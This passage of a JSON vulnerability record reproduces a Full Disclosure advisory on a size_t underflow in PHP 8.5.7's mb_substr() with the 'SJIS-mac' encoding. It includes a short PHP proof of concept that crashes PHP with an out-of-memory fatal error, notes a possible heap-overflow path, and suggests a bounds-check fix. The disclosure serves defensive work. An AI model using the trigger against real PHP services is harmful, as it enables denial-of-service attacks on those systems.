\u0026\u0026 enc != \u0026mbfl_encoding_sjis_mac)) {\n * return zend_empty_string; // \u003c-- sjis_mac bypasses this\nwhen from \u003e= in_len\n * }\n *\n * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to\n * mb_get_substr_slow(), whose first line is:\n *\n * mb_convert_buf_init(\u0026buf, MIN(len, in_len - from), ...);\n *\n * With `from \u003e in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.\n * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).\n *\n * Two outcomes, both wrong (correct result is the empty string):\n * (A) `from` huge -\u003e initsize ~2^64 -\u003e fatal \"Allowed memory size exhausted\n * (tried to allocate 18446744073708551644 bytes)\". CONFIRMED below.\n * (B) `from` only slightly \u003e in_len -\u003e initsize sits just under 2^64 and\n * _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,\n * while buf-\u003elimit = out + initsize stays wild -\u003e a subsequent write of\n * decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:\n * needs a SJIS-mac input decoding to more codepoints than bytes, i.e.\n * from \u003c codepoint_count while from \u003e byte_count. Worth upstream review.)\n */\necho \"PHP \", PHP_VERSION, \" sjis_mac available: \",\n (in_array(\"SJIS-mac\", mb_list_encodings()) ? \"yes\" : \"no\"), \"\\n\\n\";\n\n/* control: a normal encoding with from \u003e strlen returns \"\" cleanly */\necho \"UTF-8, from=10 \u003e strlen(\u0027abc\u0027): -\u003e \"; var_dump(@mb_substr(\"abc\",\n10, null, \"UTF-8\"));\n\n/* The bug: SJIS-mac, from \u003e\u003e strlen, length omitted -\u003e underflow -\u003e OOM fatal.\n * The \"tried to allocate 18...644 bytes\" is literally (size_t)(3 - 1000000). */\necho \"SJIS-mac, from=1000000 \u003e strlen(\u0027abc\u0027):\\n\";\n@mb_substr(\"abc\", 1000000, null, \"SJIS-mac\");\necho \"(if you see this line, the fatal error above was caught/suppressed)\\n\";\n```\n\n## Impact\n\nAn attacker could intentionally furnish conditions where `from \u003e\nin_len` alongside the \u0027SJIS-mac\u0027 encoding, triggering a `size_t`\nunderflow. This predictably causes a severe Out-Of-Memory (OOM) fatal\nerror, culminating in a Denial of Service. Depending on environmental\ndetails, it might hypothetically cause a heap buffer overflow.\n\n## Solution\n\nAdjust the constraints inside `mb_get_substr()` and\n`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation\n`in_len - from` should be adequately bounds-checked to halt\ncomputation or safely cap at zero when `from \u003e in_len`, sidestepping\nthe underflow when initializing string buffers.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
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"dateUpdated": "2026-09-11T07:55:54Z",
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"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jun/12"
},
{
"url": "https://fereidani.com/contact"
},
{
"url": "https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jun/12"
],
"discovery": "EXTERNAL"
},
"title": "PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0322",
"x_vulnarchive": {
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"dateUpdated": "2026-09-11T07:55:54Z",
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